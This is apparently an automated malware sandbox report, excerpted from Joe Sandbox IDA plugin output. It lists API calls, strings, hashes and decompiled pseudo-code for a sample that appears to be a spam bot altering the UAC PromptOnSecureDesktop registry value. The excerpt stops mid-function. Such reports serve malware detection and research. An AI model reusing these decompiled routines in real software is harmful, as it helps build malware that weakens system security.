Part of subcall function 0063E2E5: RegSetValueExA.ADVAPI32(0063E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0063E377
Part of subcall function 0063E2E5: RegDeleteValueA.ADVAPI32(0063E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0063E3A8
Part of subcall function 0063E2E5: RegCloseKey.ADVAPI32(0063E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0063E4F3), ref: 0063E3B1

Strings

PromptOnSecureDesktop, xrefs: 0063E4DA, 0063E4DF, 0063E520, 0063E54A

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 257aecc6dbecbcaed46c36583f01b7c16f50022f03af6353e03c04dd6b3d692a
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 4C41E9B2900208BADB20AF518C46FDB3B6DEF04754F108069FA09981D2F7B69A50D7F9

Uniqueness

Uniqueness Score: -1.00%

Function 00638319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 006383AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 00638460

Part of subcall function 006369AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 006369CE
Part of subcall function 006369AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 00636A0F
Part of subcall function 006369AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 00636A23

Part of subcall function 0063EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00631DB8,?), ref: 0063EE91
Part of subcall function 0063EE7E: HeapFree.KERNEL32(00000000), ref: 0063EE98

Strings

PromptOnSecureDesktop, xrefs: 0063839B, 006383A0, 0063846C

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: f5b4e05de551ca7c208fe09f7d7358db07a7ce95c2ea64506e668ccf91fad14c
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 794173B290020ABEEB10EBA49E81DFF77AEDB04300F14447AF504E7152EA745E948B95

Uniqueness

Uniqueness Score: -1.00%

Function 0063E61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0063E842,00000000,00020119,0063E842,PromptOnSecureDesktop), ref: 0063E636
RegCloseKey.ADVAPI32(0063E842,?,?,?,?,000000C8,000000E4), ref: 0063E770

Strings

PromptOnSecureDesktop, xrefs: 0063E620

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 0da9b975b07c075620ac414c87cb9bca9e14b2b868b0a61a4b5e20b8b4cf5154
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: A641F9B2D0021DBFEF11AFD4DC81DEEBBBEEB14304F144466E910B2251E3729A558BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0063AFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0063AFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 0063AFF6

Part of subcall function 0063AF58: gethostname.WS2_32(?,00000080), ref: 0063AF6C
Part of subcall function 0063AF58: lstrcpy.KERNEL32(?,00410B90), ref: 0063AFCF

Part of subcall function 00633305: gethostname.WS2_32(?,00000080), ref: 00633328
Part of subcall function 00633305: gethostbyname.WS2_32(?), ref: 00633332

Part of subcall function 0063A9F3: inet_ntoa.WS2_32(00000000), ref: 0063A9F9

Strings

%OUTLOOK_BND_, xrefs: 0063B05F, 0063B064, 0063B0A7, 0063B0C6

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 9cffa093f72e841887ad3244517fd203f8bb0466f78ae4d8d55ae795d1279ed5
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 424132B290024CABDF25EFA0DC46EEF37ADFF04300F14442ABA2592152EB75D955CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0063943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 0063951F
Sleep.KERNEL32(000001F4), ref: 00639546

Strings

, xrefs: 006394C2

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: 5c59c692b53318d819da1abdcf97ab21343a28914ea3cdfae645cbdbf2d3e0f6
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: 89410471C083556EEB268764D88C7E63BE69B02320F2841E9D49697293D6F44DC28FF1

Uniqueness

Uniqueness Score: -1.00%

Function 0063BC63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0063B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0063BA23
InterlockedIncrement.KERNEL32(?), ref: 0063BA7D
GetTickCount.KERNEL32 ref: 0063BB62
GetTickCount.KERNEL32 ref: 0063BB82
InterlockedIncrement.KERNEL32(?), ref: 0063BDFE
closesocket.WS2_32(00000000), ref: 0063BE9D

Strings

%FROM_EMAIL, xrefs: 0063BC66

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 5b1136993ab8e0302404087c808fffad35d78f4582baca064a9b9be7368d0093
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: A231A031500248DFDF25DFA8DC84AED77AAEF44700F20501AFB2496261EB35DA84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 00428F41, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00428FF4

Strings

t/j, xrefs: 00428FE1
jjj, xrefs: 00428F90

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: c331c0df7c7021b8df4c5da78c8670990d92ef1808e56476a630b2dda6ffd25e
Instruction ID: c3db8373135e607026a30c796ff9a1934529e3286dc1bbfaa54b7e14f70d8049
Opcode Fuzzy Hash: c331c0df7c7021b8df4c5da78c8670990d92ef1808e56476a630b2dda6ffd25e
Instruction Fuzzy Hash: D921D674A00218FBEB20CF48FE85B6D7372AB08314F94416AE515A73A1D779AE50DB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00637086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 006370A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 006370DD

Strings

|, xrefs: 006370CF

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 37ad62fe9cfddbf1a0dc2f4e53b25cbd530562dd43309c011794793293a0dd65
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 1911FAB3904118EBDF32DFD5CC84ADEB7BDAB04705F1841A6E502E6190D6709B98DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00424991, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 004249AE

Part of subcall function 00424480: __crt_wait_module_handle.LIBCMTD ref: 004244CC

__initptd.LIBCMTD ref: 004249C2

Part of subcall function 004247F0: __crt_wait_module_handle.LIBCMTD ref: 00424827
Part of subcall function 004247F0: ___addlocaleref.LIBCMTD ref: 00424910

Strings

0VC, xrefs: 004249F6, 004249F9

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __crt_wait_module_handle$___addlocaleref__encode_pointer__initptd
String ID: 0VC
API String ID: 3882771057-3625899642
Opcode ID: 106de38539f58b4c81c3c68501b1ad8fc49a4d67d9bd62dfb39ca7131087564b
Instruction ID: 376a18dda0b5ba3813a5f738a074a0d10bdaf251f096311d26fb8e578a8dfa91
Opcode Fuzzy Hash: 106de38539f58b4c81c3c68501b1ad8fc49a4d67d9bd62dfb39ca7131087564b
Instruction Fuzzy Hash: 920186B9E00204ABCB04DFE4FC85B9FBB74EB88314F104299E905A7391DB359A90CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB6D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0041BB9D

Strings

hl"@, xrefs: 0041BB98
hH"@, xrefs: 0041BB93

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __invalid_parameter
String ID: hH"@$hl"@
API String ID: 3730194576-4139822927
Opcode ID: e239c73c4eae9c556ae09ce22afdc0a1e23494f9d5faa42bb88561074f52ff71
Instruction ID: 3adf480fcc0414c1553b0d144bd2631c924bc789ca8dbd8485c34fba62506f75
Opcode Fuzzy Hash: e239c73c4eae9c556ae09ce22afdc0a1e23494f9d5faa42bb88561074f52ff71
Instruction Fuzzy Hash: E5D05B71F94204B5D52035955D0B75B3100D715715F7005EBF509759C2D6FD659041FE

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
